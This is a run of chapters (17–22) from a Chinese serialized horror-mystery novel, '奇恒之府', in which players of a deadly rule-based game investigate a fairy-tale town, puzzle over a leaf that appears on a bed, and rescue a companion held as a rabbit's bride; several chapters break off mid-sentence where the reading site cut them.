余渺渺的话梗在喉间,“那就不出去,确实很晚了……对了,帅哥,你住哪个房间?” “我叫徐伏隐。”徐伏隐说,“2-4。” “啊,”余渺渺遗憾地长长叹了口气,“你们两个就挨在一起的啊,我住在2-7……” 话还没说完,贺玉盈突然打断,“我跟你换房间怎么样?” “啊?啊?”余渺渺震惊地没有反应过来,“换房间?跟我吗?” 贺玉盈点点头。 徐伏隐:“其实没必要换房间。既然镇长强调了童话祭,应该不会在房间上为难我们……” “太好了!”余渺渺激动道,“你真的要跟我换吗?” 贺玉盈点点头,果断地把手中2-3的钥匙递给她,然后从她手上拿来2-7的钥匙。 余渺渺:“真的太谢谢你了。贺玉盈,我从今天开始就要把你当作最好的朋友,我发誓!” “嗯……谢谢。” “帅哥,以后我住在隔壁,有什么就全靠你了。”余渺渺态度热切。 “……” “好的。”徐伏隐说。 三人约定好明日一早出门汇合,便各自回到房间。 房间的门也是木质的,打开时会发出腐朽的声响,为此贺玉盈还仔细检查过一遍,最后发现这门看起来摇摇欲坠,实则十分结实,想要破门而入几乎是不可能的事。 门上没有猫眼。门后有个门栓。 房间是正方形的,有一扇双开的小窗户,一张铺着白色床单,上面放着白色枕头的木床——大小与学校宿舍一样,还有一张木质小桌子,桌上放着旧式台灯,桌前放着一个木质圆矮凳,圆凳上面甚至还能看见一圈一圈的年轮。房顶有一个灰扑扑的白炽灯,一条控制开关的线连接灯泡,顺着房顶一路蜿蜒,最后垂在门边。 贺玉盈闩上门,顺手拉了下绳子,灯泡扑闪两下,最后终于稳定地亮起来,勉强将这间小屋子照亮。她搬来圆矮凳放在门边,撑着下巴,呆坐着。 时间一分一秒地流逝,贺玉盈也不知道自己保持着这个动作坐了多久,正打算站起来活动一下时,忽然听到了一阵“嗞嗞”的声响。 断断续续的,偶尔一气呵成,偶尔停滞阻塞,声音持续了几分钟,消失了。片刻后,传来木板“吱呀吱呀”的声响。 贺玉盈坐在凳子上等了半晌,等到动静彻底消失以后,才起身抽出门栓,拉开门走出去。 2-1与2-7之间隔着楼梯,贺玉盈刚走过楼梯,便见2-1的门打开了,文华从里面探出头来。 对方见到贺玉盈,惊讶了一瞬,随后也拉开门,走到门外。 “你也听见了?” 贺玉盈走到2-1门前,视线停在门边的墙壁上。 墙上刻的那两条规则下被人新添了一条规则: 不要毁坏物品。 正对规则的墙脚处放着一块尖利的石 17. 第17章 安徒生小镇 《奇恒之府》全本免费阅读 贺玉盈闩上门,将圆凳抵在门后。她四处看了看房间里的陈设,散发着微弱灯光的台灯,空空荡荡连抽屉也没有的书桌,平坦洁白的床铺,柔软舒适的枕头——没有特别不对劲的地方。文华说他的房间里有奇怪的东西,看来应该不是每间房都有。 至于文华要如何处理那件“奇怪”的东西,就是他的事情了,不在贺玉盈的考虑范围之内,毕竟她能力有限,且经验不足。 这样想着,贺玉盈一边思索明天的计划,一边走到窗前。 窗户和床底是房间里最容易让人不安的两个地方,很难说贺玉盈因为某些恐怖片的影响把这两个地方检查了多少次。 这间房间的窗户是双开的小窗户。老旧的房子,学校的厕所和弃用的阁楼还会见到这种窗户。 窗户此时闭得紧紧的,贺玉盈试着伸手推了推。 和破旧却整洁的房间不同,这窗户居然蒙上了薄薄的一层灰,外面的光一点也透不进来,难怪房间会这么昏暗。 能推开,说明窗户是向外开的。 贺玉盈摩挲了一下手指的灰尘,干脆地把窗户整个推开了。 “!” 她倒退两步。 窗外是厚厚的一堵砖墙。 片刻后,贺玉盈关上了窗户。 她转身走到床前,正准备收拾收拾睡觉,动作忽地一顿,渐渐皱起眉。 她的眼神放在床上多出来的一样东西上—— 一片树叶。 一片翠绿新鲜的树叶。 贺玉盈保证它是突然出现在床上的。 …… 次日一早,贺玉盈愁眉不展地推开门,徐伏隐和余渺渺就靠在她的门边。 “你醒啦!”余渺渺眼睛一亮,站直身体,开开心心地贴到贺玉盈的面前,随即“咦”了一声,“你脸色好差,昨晚没睡好吗?难道是……难道是那个猥琐的镇长来找你了?!” 贺玉盈抿紧嘴,没有立即回答。 “出什么事了吗?”徐伏隐关切道。 贺玉盈看了两人一眼,反手合上门,隔绝了徐伏隐的视线,“没什么,我发现了点东西,一晚上没有想通而已。不管这些,我们先走吧。” 余渺渺在原地打转,六神无主,“啊?啊?真没事吗?” 要是贺玉盈是因为换房间才遇到麻烦的话,她一定会羞愧而死的! “没事,”贺玉盈的脸色放松下来,“我能处理好。走吧。” 说完,她率先向一侧的楼梯走去,枯朽的木梯随着她的每一步发出声响。 徐伏隐欲言又止。 余渺渺纠结地在贺玉盈和徐伏隐之间看来看去,最后跺跺脚,还是小跑着跟了上去。 “等等我!” …… 今天的安徒生小镇和昨天相比简直大变样!镇上挂满了五颜六色的旗帜和气球,彩色的小灯泡绕着每一颗树木和每一根电杆。像蛋糕一样的房屋,像饼干一样的窗户和像奶油一样的装饰。粉红色的是草莓味,青绿色的是青柠味,黑褐色的是巧克力味,纯白色的是奶香味…… 草木绿茸茸的,天空蓝湛湛的。 或许是临近童话祭的缘故,一路上还见到有些居民已经将自己装扮成了童话人物,其乐融融地走在大路上。 这里的一切实在是太美好,儿时无忧无虑的幸福在这一刻涌上了每一位玩家的心头。 比原世界糟糕的地方是奇恒之府,比原世界美好的地方就是这里。 贺玉盈三人决定先去裁缝店试试看能不能订到童话人物的服装,毕竟五天后的童话祭才是目前最大的难关。 为了填饱肚子,三人出旅馆后首先拐进了卖早餐甜点的小店。 说是小店其实也不太准确,因为这地方更像一个小家,要不是门口就立着“供应美味香肠与苹果酒”的牌子,他们是不会大胆进去的。 为她们送上香喷喷食物的是一位浑身脏兮兮的年轻少女。 她端着餐盘,一头暗淡的长发利落地扎在脑后,动作轻巧玲珑地跳到了她们的桌前,像在富丽堂皇的宫殿里跳舞一样,“请用餐吧,远道而来的旅人们。” 这位少女的围裙缝缝补补,满是灰尘,脸蛋也沾上了锅炉的黑灰,唯有一双眼睛无比明亮。 徐伏隐:“需要付费吗?” 余渺渺眼睛一瞪,大声叫了出来,“规……” 还没说完的话被迫咽了下去,贺玉盈重重地抓住她的胳膊,示意她闭嘴。 少女那双仿佛会说话的蓝色眼睛小心翼翼地往四周看了一圈,然后俯下身体,压低声音说:“嘘——!你们是来小镇的旅人,这是免费送给你们的。可是,千万不要让妈妈知道,她一定会问你们要回报。” “谢谢你,你是个好姑娘。”贺玉盈微笑着说,“上帝会保佑你的愿望实现。” 少女的脸涨得通红,羞涩地低下头,“谢谢你。” 她眨眨眼,睫毛如蒲扇一般:“妈妈和姐姐们在午后才会起床,如果你们想吃香肠和苹果汁了,就在上午来找我吧。我还有家务要做,必须要去忙了。” “好的,麻烦你了。” 少女摇摇头,“这都是我该做的,吃完后你们就尽快离开吧。” 三人都答应了。于是少女蹦蹦跳跳地离开了。 “喂……”少女的身影一消失,贺玉盈便收回手,余渺渺总算了透口气,“为什么她妈妈要让我们给钱啊?规则不是说一切东西都是免费的吗?还有,为什么刚刚不让我说话啊?” 贺玉盈扶额,还是耐下心解释: “规则说东西都是免费的,侧面说明免费的东西是可以放心拿的,这就表明不免费的东西则有古怪。” “她妈有古怪啊?” 徐伏隐似乎微不可察地叹了口气:“规则没有说遇见硬收费项目应该怎么办,那么如果我们碰上的是她的妈妈,说不定就只能按她的标准来付钱了。” “可是我们没钱啊。” “不一定是钱,她妈妈要我们拿什么东西来换,我们就得拿什么东西来换,”贺玉盈顿了顿,说出了一个骇人的猜测,“像眼珠,手指,脏器……之类的东西。” 余渺渺打了个寒颤,“好了好了!我明白了!你不要再说了!” “另外,”贺玉盈继续说,“还记得规则第三条吗?” “记……当然记得啊……不就是‘请不要戳破童话’嘛,怎么了?” “你刚刚差点违反了这条规则。”徐伏隐说。 “啊?啊!” “这条规则不引人注目,但是很容易不小心违反。”贺玉盈喝了一口苹果汁,“‘请不要 18. 第18章 安徒生小镇 《奇恒之府》全本免费阅读 “哎呀呀,真是不巧啊,客人们。”一个蓄着白胡须的矮小老头从紧闭大门的裁缝店旁的磨坊中探出头来,“这个家伙被镇长请去城堡做晚礼服了,哎呀呀,他走得时候可带了一大把的金丝线呢,金灿灿的,差点晃花了我的眼睛,哎呀呀,还有他那两个伶俐的徒弟,两个人抱着那些华贵的布料都抱不下呢!哎呀呀,最后还是镇长找来五匹马车才运走的呢!” “他什么时候才会回来?”徐伏隐问。 “要童话祭结束后呀!往年都是这么来的!”老头絮絮叨叨,“镇长和镇长夫人的晚礼服要好多金丝线和珍珠宝石呢!哎呀呀!要是能给我一点……哎呀呀,就这么一点点就好……”老头比了个指甲盖大小,“这个小小的又可爱的磨坊就不会关门啦!我可爱的女儿就能有漂亮的新裙子穿了,她该有多高兴!哎呀呀。” 三人面面相觑,心中都压上了沉甸甸的石头。 她们已经打听过了,这家是小镇里唯一的裁缝店,如果裁缝和学徒都跑去城堡里给镇长做礼服了,那她们该怎么装扮成童话人物? 余渺渺表情复杂:“我们,我们现在该怎么办啊?” 不会真的要去城堡里找裁缝吧?可是那个怪怪的镇长就在城堡里啊! “现在的线索应该是城堡里的裁缝了。”徐伏隐说。 “回去跟大家商量一下吧,整合一下消息,”贺玉盈一时也拿不定主意,“至于城堡,先不急着去。” 而且,即使找到了裁缝,他有时间给她们做童话服装吗? 五天时间,即使有两个学徒帮忙,也来不及做这么多的服装…… 难道“装扮成童话人物”的规则不是这个方向吗? 圆圆的太阳挂在天空,将小镇渲染得浪漫又温馨。 三人垂头丧气地走远了十多米,贺玉盈不知怎的,又回头去看大门紧闭的裁缝店,眸光却停顿在老头的磨坊后。 她愣了愣,对懵住的两人丢下一句“在这里等我,我马上回来!”就跑向老头。 老头仍探着脑袋絮叨,似乎还没察觉他的听众已经走开好一会儿了:“……我那聪明又伶俐的女儿,怎么能让她受苦,哎呀呀,多拣点柴枝,买一只钗子,会让她高兴起来吧?!” “老人家。”贺玉盈匀了两口气,说,“请问您磨坊后是不是有棵树?” 贺玉盈走远了才注意到从磨坊后探出来的那点青绿色。 老头的话顿住,转而又唠叨起来:“是的呀,是棵惹人爱怜的苹果树,结出来的果子又大又红……连夫人也喜欢吃呢……哎呀呀,要是能卖点钱该有多好?我那可爱的女儿整天照料这棵小苹果树,我可不敢卖掉它。” 贺玉盈没接他的唠叨,掌心翻出一片葱绿的叶子,递给他看: “您看看,那树上的叶子是长这样吗?” 老头的话又顿住,伸长了脖子,凑近叶子仔细瞧,热乎乎的鼻息打在贺玉盈的掌心,白胡须蹭得她手腕发痒,让她忍不住想把手收回来。 幸好老头没让这种尴尬的事情发生,终于,他收回脖子,缓慢地摇动他那皱皱的粗脖子,“哎呀呀,这可不是啊。小苹果树的叶片又大又圆,像苹果一样可爱,像我的女儿一样可爱,这片叶子可不一样,哎呀呀。” 贺玉盈举起叶片仔细看了看,明明也是又大又圆的。 她看不出不同。 老头说:“哎呀呀,去问卖苹果汁的那个姑娘吧,围着可爱的花边围裙的,总是灰扑扑的,有一个优雅的继母和两个美丽的姐姐的,那个姑娘,她一定能认得出来。哎呀呀,这是哪棵树上的叶子呢,我可认不出来,总之不是我家那棵小苹果树上的叶子。” 卖苹果汁的灰扑扑的女孩…… 贺玉盈想,这描述得不就是早上那个善良的少女吗? 得到线索后,她感激地对老头道了一声谢,便转身向徐伏隐和余渺渺走去。 走得近了,余渺渺问:“你跟他说了什么啊?” 徐伏隐虽然没问出口,但显然也是好奇的。 他看见她背对着他们,拿出了什么东西给老头看,可具体是什么东西却没看清,离着这么远的距离,他们之间的谈话也没能听见。 贺玉盈说:“向他打听了一下裁缝走的时间,说是两天前走的。” 徐伏隐心想,撒谎。 可余渺渺的注意力果然一下子就被转走了,“那不就是我们进游戏的前一天走的嘛!哎呀呀,我还想,要是我们能早点来说不定就能赶上呢!这么看来,原来一开始就不能直接通过裁缝店定衣服啊!” 贺玉盈:“……” 怎么才聊上几句就学上磨坊老头的口癖了。 此时已经大约下午四点,三人商量着走进了一家饭店,打算先填饱肚子。 店主是个有钱人,饭店里装潢得精致又漂亮,餐桌都像金子一样反光。 他挺着肚腩来到三人面前,粗声粗气地,“想要来点儿什么?” “你这里要钱吗?”余渺渺问。 “哼,”店主的鼻子里发出一声冷哼,肚腩又挺了挺,很不高兴似的,“你们这些总是把我们的镇子弄得乱七八糟的外乡人!总是要问这些无礼的问题!如果你硬要付我钱,我当然不会拒绝!” 说着,他那小小的浑眼珠上下打量了三人,大大的酒槽鼻耸动着,变得更红了,“一群穷酸的家伙!想你们也付不起什么!只给你们黄油,面包和蜂蜜酒,吃完了就滚蛋吧!” 他大摇大摆地转身走了,过了不久带着黄油,面包和蜂蜜酒出来。 “拿去!” 余渺渺缩在贺玉盈的身后,大气也不敢出。 最后还是徐伏隐接过来的。 在店主的怒视下,余渺渺一句话也不敢说,闷着头吃东西。 贺玉盈和徐伏隐也不是会在这种情况下还能闲聊起来的人,于是这顿饭吃得十分安静。 “劳驾,”吃完后,贺玉盈顶着死亡凝视,面不改色地说,“能否再给我们拿点黄油和面包?我想打包带走。” 余渺渺心说:壮士啊! 风萧萧兮易水寒啊! 果然,店主的脸一下子垮了下来,鼻子不断地哼气,“你说什么!你这得寸进尺的外乡人!” “因为您的食物太美味了。”徐伏隐接话,“我们想带去给同伴尝尝。” 余渺渺双手交叉放在大腿上,坐得端端正正,埋下头不敢搭腔。 还说能避则避…… 这明明就 19. 第19章 安徒生小镇 《奇恒之府》全本免费阅读 小镇的左下方,即城堡右前侧,有一片郁郁葱葱的小树林,一条蜿蜒曲折的溪流从中穿过。湿润肥沃的泥土,密密层层的树林,其间点缀着美丽的野花。风轻轻拂过这片森林,发出“沙沙”的轻响,鸟儿在枝干上跳来跳去,不时婉转啼鸣。 走过大道,就是这片森林。贺玉盈仰起头观察每一棵树木叶片的形状,总觉得这个也相似,那个也相似。 ……难道只能等第二天再询问少女了吗? 贺玉盈咬咬牙。 问题是,她还能活到第二天吗? 这片叶子,究竟是死亡的通知单,还是线索的警示?她还没彻底搞清楚。 “是脚印和痕迹。”徐伏隐观察入微,“确实有人来过了。” “是那个大壮汉他们吗?”余渺渺缩在徐伏隐背后,警戒地四处张望。 贺玉盈:“我们再往深处走一点吧。” 虽说其余两人都不知道她执意要深入森林的目的究竟是什么,可还是跟在她身后。 贺玉盈一路在心中比对叶子,总也得不到满意的结果,心情越来越烦闷。 余渺渺却已经彻底撒丫子玩起来了。 “花!我都多久没见过大自然了,天哪,这是世外桃源吗?”她蹲在一棵树下,拨弄着一朵白色的五瓣小花,嘟囔着,“等我攒够了元核,我一定要在奇恒之府买个乡间别墅住!” 徐伏隐寸步不离地跟在贺玉盈的身后,明明知道她一筹莫展,却一点忙也帮不上,心中说不出是什么滋味。 最后,贺玉盈终于放弃了,她在森林里找不到一点关连的线索——这里的确有树有叶子,可同时树和叶子的数量也极其多,这样去找,无疑是大海捞针。试了过后,她才意识到自己这样做有多蠢。 她抬头一看,太阳不知何时已经西沉,进入森林的光线已经很少了。 “太晚了。”贺玉盈遗憾地说,“我们回旅馆吧。” “咦?”余渺渺空着手站起来,“走了吗?不再找找吗?对了,你要找什么啊?” 贺玉盈摇摇头,“回去吧。不用找了。” 徐伏隐看着她的侧脸,微弱的光线打在她的脸上,显得她的表情沉沉的。 他垂在身侧的手抬起又放下,最后只能无力地紧握成拳。 …… 三人离开森林时,天已经彻底暗了下来。所幸镇上的节日气氛十分浓郁,各色小彩灯扑闪扑闪的,倒也不至于让人看不清路。 回到旅馆后,几人各自回到房间。 贺玉盈拿出叶子,将它搁在书桌,坐在圆凳上对着它发愣。 虽然看过不少童话故事,但毕竟时间久远,贺玉盈一时不能将这片小小的叶子与哪个故事挂上钩。 她已经想过自己被它找上的原因。 是因为她开过窗户的原因吗? 窗户外是一堵墙,像一间牢狱一样把她困在这里。 她本来可以不用经历这些。 “咚咚。”有人敲响了门。 贺玉盈没理。 过了不久,“咚咚咚”,又是门响。 贺玉盈走到门边,问:“是谁?” “是我,徐伏隐。” 贺玉盈不意外,她伸手要抽开门栓时,动作忽地一顿,将手收了回来。 “你有什么事?说吧,我听得见。”贺玉盈的音量放低。 门外的人也没有气恼,“你遇上事了是吗?” “我能处……” “而且一时处理不了。”他打断了她的话。 “对,”贺玉盈破罐子破摔,“是遇上了处理不了的事,可能今晚就死在房间里了。所以,你有什么事?” “我们交换房间吧。” 贺玉盈一怔,没想到他会说这样的话,转而又觉得十分可笑,“为什么要做到这种地步?我们以前认识吗?” “现在是认识的吧。” 贺玉盈哑口无言,双方如此僵持了一段时间后,她才说:“不换。你回去。” “那你能告诉我你遇见了什么吗?”徐伏隐的手贴在门上,妥协了,“不换房间,你告诉我,我能一起想办法。” “……” 又如此过了半晌,贺玉盈的声音才从门内传出: “一片树叶,昨晚在我打开窗户后突然出现在床上。唯一的线索是卖苹果汁的那位女孩,可是最早也要到明天早上才能见到她。” 话说完后,又是一阵沉默。 贺玉盈摸摸自己的指节,心想今晚的交流真不痛快,沉默了太多次。 “不难,”外面终于有了回应,“我现在就去找她。” “不许去!”贺玉盈压抑着音量叫出来,语气激动,“你不准去!” 门外没有传来木梯吱呀的声响,贺玉盈知道他还在门外,平复心情后,说,“我不想欠别人的人情。何况你没有必要去。这不是必死的局,一定有方法破解。” 缓了缓,她慢慢地说完后面的话:“今天我们遇见的所有事情都只是一个开头,一定还有后续——这片树叶也是一样,今晚它不会要我死。你如果贸然去打扰那个女孩,也许会改变本来的故事线,后面的发展就会滑到我们想不到的地方,那才会害死我。” 只要小镇里的所有事件都是按照童话故事发展,她就有信心把握这局游戏的走向。 “……那好,”他又妥协了,“你开门,让我进来。” “第一条:‘不要与人同住。’”贺玉盈冷静指出,“明晃晃违反规则,必死。” “……” 徐伏隐撑着额头,第一次感到束手无策。 “你唯一要做的事情就是立刻回去。”贺玉盈说,“我能处理好。” 她的眼神异常冰冷,“我处理过比这更艰难的事情,和那种事相比,这没什么大不了的。” 空气一下子安静了下来,门内门外都弥漫着一种诡异的沉重气氛。 此后良久,门外再没有传来声音。 贺玉盈紧靠着木门,就地坐下,心中打定主意:只要旁边的楼梯发出一点声响,她就会立刻冲出去。 徐伏隐没有鲁莽行事。 贺玉盈并非是怕他死掉才拦住他,她拦住他的理由就如她口中所说——小镇发生的事件必然严格按照某种规则运行。如果去找那位少女就能让她渡过今晚的难关,那她为什么不自己去? 今天发生的一切都只是一个开头而已,就像每一本小说一样,童话故事也 20. 第20章 安徒生小镇 《奇恒之府》全本免费阅读 镇上的景象与昨天如出一辙。 贺玉盈三人照例拐到卖香肠与苹果汁的少女家中。 “啊!你们来了!”少女洋溢着青春的笑容,欢快地端着餐盘来到她们面前,声音如莺啼一般悦耳,她转了个圈,脏兮兮的围裙也像华美的罗裙一般绽放,“请享用吧!” 贺玉盈没有犹豫,直接翻出了叶子给她看,“请问,你知道这是哪里的叶子吗?” 少女一愣,俯下身体,歪着头仔细看了几眼,蓝蓝的眼珠先是疑惑,而后一亮,惊喜地说:“这是我的小树叶!你是从哪里拿到的?” 这下别说一无所知的余渺渺了,就连贺玉盈本人也愣在原地。 “你说什么……这是你的树叶?” 少女重重地点了几下头,“是啊!父亲从远方为我带来小树枝,我将它种在最肥沃的泥土里,用清澈的泉水浇灌,用换来的烂苹果施肥,星星和月亮作为养分,它一天天的长大,最后长成一棵会长出这种叶子的大树,我绝不会认错。你是从哪里得到的?” “它忽然出现在我的房间里。”贺玉盈语调干涩。 “是这样啊。”少女困惑地转了个圈,“我得去问问树的精灵——你介意我拿走这片树叶吗?” “不介意。”贺玉盈说,“非常感谢你的帮忙。” 少女笑颜如画,那是再多灰尘也藏不起来的美貌,“明天你们再来这里吧!我会将精灵的答复转告给你们!” 徐伏隐蓦地开口:“现在不能问到答案然后立刻告诉我们吗?” 少女不解地看了眼这个脸色极差的男人,“可是树的精灵要夜晚才会出现。” 贺玉盈善解人意:“明天我们会再来这里的。” “期待你们的光临!”少女欢快地说。 …… 沉默地走出少女的家,徐伏隐问:“今晚要怎么办?” “线索已经很明朗了。”贺玉盈说,“不出意外的话,明天这件事就会被解决。” “我问的是,今晚怎么办?” “……” “你们到底在说什么啊?那片叶子是怎么回事?今晚怎么了?难道昨晚‘那个’还会来找你吗?” 这两人打了一路的哑谜,余渺渺简直不敢想象她们瞒了她多少事! 贺玉盈将树叶的事情从头至尾简单地叙述了一遍。 听完,余渺渺对她佩服得五体投地。 “……要是我遇见这种邪门的事……” 她哆嗦了一下,使劲晃晃脑袋,把那些可怕的设想全甩出去了。 过了一会儿,徐伏隐忽地提出要和她们分开行动。 余渺渺是最不希望发生这种事的人:“帅哥,我们需要你啊!” “你们不需要我。”沉默了几秒,徐伏隐硬邦邦地说,“分开行动效率更高。” 贺玉盈:“我同意。一起行动确实很束手束脚。” 余渺渺感觉天都要塌了,茫然无措地问:“那,那我怎么办啊?” “你选一个人吧。”贺玉盈说,“随便选谁。” “嗯。”徐伏隐点头。 余渺渺看看柔弱的贺玉盈,又看看冷脸的徐伏隐,纠结得后槽牙都快咬碎了,最后她欲哭无泪地抱住前者的胳膊,“姐姐……我的命都交在你的手里了。” “太夸张了。” 徐伏隐没有对此事发表任何感想,他只是略一点头,便转身朝着相反的方向走了。 余渺渺不舍地回头看了眼他高挑的背影,然后微微仰起头看了眼始终无动于衷的贺玉盈,“那个……呃……虽然现在说这些有点不太恰当——你们是不是吵架了?” “吵架?” “没有吗?”余渺渺被她的反问弄得有点懵,“你们这不是在闹别扭吗?” “没有这回事。”贺玉盈平淡地说,“我跟他还是陌生人。这是第二次见面。” 余渺渺挠挠头,“不会吧……我真的搞错了?” “你搞错了。”贺玉盈笃定地说。 “你没有男朋友吗?” 贺玉盈觉得这段对话拐到了一个莫名其妙的角落,滑到了女孩子们刚熟悉后常常彼此谈论的话题,她本来不欲正面回答,可话在嘴边转了一圈,不知出于什么目的,她更改了本来要说的话: “我有个男朋友。” “真的吗!”余渺渺没想到她真的会回答,居然直接激动地上蹿下跳,“他现在在哪?长什么样?帅吗?聪明吗?” 贺玉盈斟酌着说辞。 “他也在奇恒之府……长相……不差,至于聪不聪明……” 她顿了顿,“应该是算聪明那一类的。” 余渺渺更激动了,话匣子一开便没完没了,滔滔不绝地向贺玉盈打听各种事,恨不得把她那个男友的祖宗十八代都打听得一清二楚。 起初贺玉盈还简单地回应她,后面越问越离谱,她便只余下敷衍了。 可谁知就算是敷衍也让余渺渺格外起劲。 “出去后你一定要让我见见他长什么样!” 话题终于在此处终结。 兴许是被小镇节日的气氛所感染,这局游戏看起来并不危险,反而让人觉得无比轻松。 余渺渺好奇地看着小镇的各种景象,兴致勃勃地回身对贺玉盈说话,却忽然被人撞了一下。这人撞了她也没反应,直接走了。 余渺渺龇牙咧嘴地揉着胳膊,气势汹汹地瞪了他一眼,这一瞪就不得了,她露出惊恐的表情,张大嘴巴僵在原地。 这人披着黑色的袍子,帽兜遮住了大部分脸,又垂着头,贺玉盈没看清他的模样。 “怎么了?” 待人走出老远,余渺渺才嗫嚅着嘴唇:“他……他……不是人啊!” “不是人?” “他的脸上有毛!” 贺玉盈略一沉吟,忽然道,“跟上去。” “什、什么?” 她一把抓起余渺渺的手,“走。” 余渺渺稀里糊涂地被她拉走,鬼鬼祟祟地跟在黑袍人的身后。 黑袍人走到森林的附近,忽然停下脚步,小心地四处张望,贺玉盈赶紧带着余渺渺躲起来。 他没看到她们。黑袍人放下臂弯间的藤篮,取下帽兜,一双长长的兔耳登时立了起来,警觉地动了动。 下一瞬,他猝不及防地朝贺玉盈两人的藏身处看过来! 余渺渺看着他顶着一张毛绒绒的兔子脸,险些尖叫出声。 贺玉盈及时捂住她的嘴。 这兔子疑惑地皱皱脸——贺玉盈也不知道为什么能在它那张脸上看出疑惑的表情——三瓣嘴动了动,转过头去,开始脱身上的衣服。脱完衣服,终于解开束缚,它兴奋地跳了跳,抓起地上的藤篮,一蹦一跳地往森林深处去了。 余渺渺拍拍贺玉盈捂她嘴的手,后者这时才松开。 她的手在空气中乱舞,用口型说: 「兔子 21. 第21章 安徒生小镇 《奇恒之府》全本免费阅读 直到兔子的身影彻底消失在林中,贺玉盈才和余渺渺重新回到兔子洞前。 重走这段路,两人很快来到了兔子的家门口。 面前是一扇木门。 贺玉盈屈指敲了敲门。 门内没有任何回应。 余渺渺还是比着口型:「会不会根本没有人啊?」 毕竟从始至终都是兔子在自说自话…… 难道这兔子一直幻想自己有个新娘?想结婚想疯了? 那边贺玉盈正犹豫着接下来该怎么做,这边余渺渺已经推开了门。 她震惊地转过脸:「我不是故意的!我不知道门没锁!」 但既然门都开了,贺玉盈叹了口气,不如就进去看看。 她上前一步,余渺渺缩回手小心地躲在她背后。 贺玉盈彻底推开门,房间内的场景当即让她们震在原地。 房间里十分宽敞,桌椅板凳样样俱全,墙上的挂钩挂着几顶可爱的帽子和黑色的袍子,角落里还横七竖八地躺着两三个稻草人。房间中央摆着一个大锅,锅下是一大堆燃着的柴火,锅内的沸水咕咚咕咚地冒泡,旁边还放着绿油油的卷心菜和黍米。 这些不足以让贺玉盈和余渺渺两人震惊得愣在原地,最让她们震惊的,是铺满宝石的大床上那个背对着她们低头啜泣的女人。 这个女人短发长裙,不是何年景又是谁!? “……这是幻觉吗?”余渺渺没意识到自己发出了声音。 何年景的背影一僵,转过身来,同样不可置信地看着门口的两个人。 她快速地抹了一下眼睛,声音沙哑,“你、你们怎么会在这里?” 贺玉盈:“跟着兔子来的。” 余渺渺差点像兔子一样跳起来:“天哪,你真是何年景吗?你怎么在这儿?” 何年景激动地站起身,情不自禁地向她们走了几步。 “我昨天在小镇上查线索的时候……” 何年景这个人在游戏里喜欢独来独往,不爱跟人组队,也不爱跟人交谈。 谁知道这局游戏的队友都是什么样的人呢?她可不敢随便相信这群陌生人。 昨天,她就像之前的每一局游戏一样,独自外出寻找线索,却意外在巷子的角落发现了一根胡萝卜。这根胡萝卜从巷子里一直骨碌碌地滚到了她的脚边,何年景心中诧异着,等反应过来的时候,她已经弯腰捡起了它。 这时,从巷子传来一个活泼的声音: “谢谢你,美丽的姑娘,你捡起了我丢失的宝藏,我将给你世界上最好的回报!” 何年景的游戏经验告诉她这既可能是一个线索,又可能是一个陷阱。 可是,也许是小镇的气氛十分融洽,人们的笑脸十分灿烂,这个声音听起来又十分天真,何年景不知不觉地就问出了口:“你要给我什么回报?” “是世界上最好的回报!比我的宝藏还要贵重!比我的宝藏还要贵重!”声音说,“跟我来吧!美丽的姑娘,坐上我的尾巴,我会给你世界上最好的惊喜!跟我来吧!” 抱着赌一赌的心态,何年景走进了巷子里,坐上兔子的尾巴,被它带来森林。 “我没想到它是想让我当它的什么新娘!莫名其妙!”何年景抱着胳膊,搓着手臂上的鸡皮疙瘩,眼神怨毒,“还说如果我不和它结婚的话,就不能离开这里……” 余渺渺被她的表情吓得咽了口唾沫,“可门不是没有锁吗?” “我走不出去。”何年景说。 贺玉盈:“你们什么时候结婚?” 何年景咬牙切齿,“听那只兔子的意思,估计很快了。” “兔子还会逼婚啊……”余渺渺抽抽嘴角,“难道是发q期到了?” 何年景闭了闭眼,一副不愿意就这个话题多说的样子。 “它来了几次了?”贺玉盈又问。 “几次?” “对。它刚刚敲门让你开门了对吧?”贺玉盈说,“像这样的情况发生几次了?” 何年景思索了几秒,“刚才是第三次。” 第一次兔子敲门时,她怒气上头,压根不想搭理它,谁知对方居然真的没有闯进来,而是转身离开了。于是第二次,她还是照旧不理它,兔子也没什么特别的反应,仍然离开了。 余渺渺小声嘟囔,“还挺绅士的哈。” “要抓紧时间了。”贺玉盈皱起眉,“等它把宾客都带来的话就来不及了。” 见她这副表情,何年景心中不安,“什么来不及了?如果它再来,我还是不理它,不行吗?” “不行。要是宾客来了,但作为‘新娘’的你却没有出场的话,一定会惹急兔子。” “会怎么样?”何年景紧张道。 “要么死,要么永远留在这里,真的成为它的新娘……”话音一落,贺玉盈却率先眯了眯眼,眉头微蹙,似乎想起了什么。 “我才不要!”何年景语气激昂,“谁要嫁给一只兔子!” 贺玉盈点点头,转向门口,静静地听门外的声音。 少许时刻,她转回来,对何年景说:“我有个办法能让你出去,你听不听?” 何年景咬咬牙,虽说对她不报太大的希望,可此时别无选择:“你先说,我听听看。” 贺玉盈也不在意她的态度,“现在,把你的衣服脱下来。” “你说什么?!” 何年景感到不可思议,她全身上下可就这一条裙子! “余渺渺,你现在出去……”贺玉盈的话说到一半忽然顿住,犹豫不决,“不,算了,万一恰好碰上就不好了。你现在找个地方躲起来,就那里,对,去床底下,趴好,千万不要出声。” 就连余渺渺自己也说不清楚为什么这么信任她,明明她也是个菜鸟啊! 可是只要贺玉盈这么一说,她就控制不住自己手脚似的乖乖听话,等到她回过神来时,自己已经在床底下趴得端端正正的了。 贺玉盈抓起锅旁的卷心菜和黍米往里扔,又拿着大勺子搅拌了几下。放下勺子,贺玉盈看了看房间,最后把目标定在角落躺着的稻草人身上。她快步走过去扶起了稻草人,费力地将它搬到了大锅旁边,还把勺子戳进了稻草里,装出稻草人搅拌黍米的样子。 等她满头大汗地做完这一切,回过神一看,何年景居然还没有把衣服脱下来。 她差点气得要甩手不干了,还好理智回笼,“快点脱下来,否则来不及了。 22. 第22章 安徒生小镇 《奇恒之府》全本免费阅读 兔子蹦蹦跳跳地走进来,难怪兔子洞要修得这么大,它那竖起的长耳朵好几次差点碰到洞顶。 三人缩在床底,大气也不敢出,见兔子走到稻草人面前,照着稻草人的脑袋就是一拳。稻草人的脑袋滚到地上,帽子也掉在一旁,露出一张没有五官的脸。 它的举动毫无预兆,瞬息之间就已经发生,以至于三人反应过来之时都倒吸了一口凉气。 如果此时站在那里的是何年景的话,她已经死了。 何年景自然也想到了,她面色苍白地捏紧了黑袍,浑身颤抖,牙齿咬得咯咯响。 兔子发现这并不是它的新娘,蹲下来,抬起前爪刨了一下稻草人的脑袋,长长的兔耳抖动了一下。 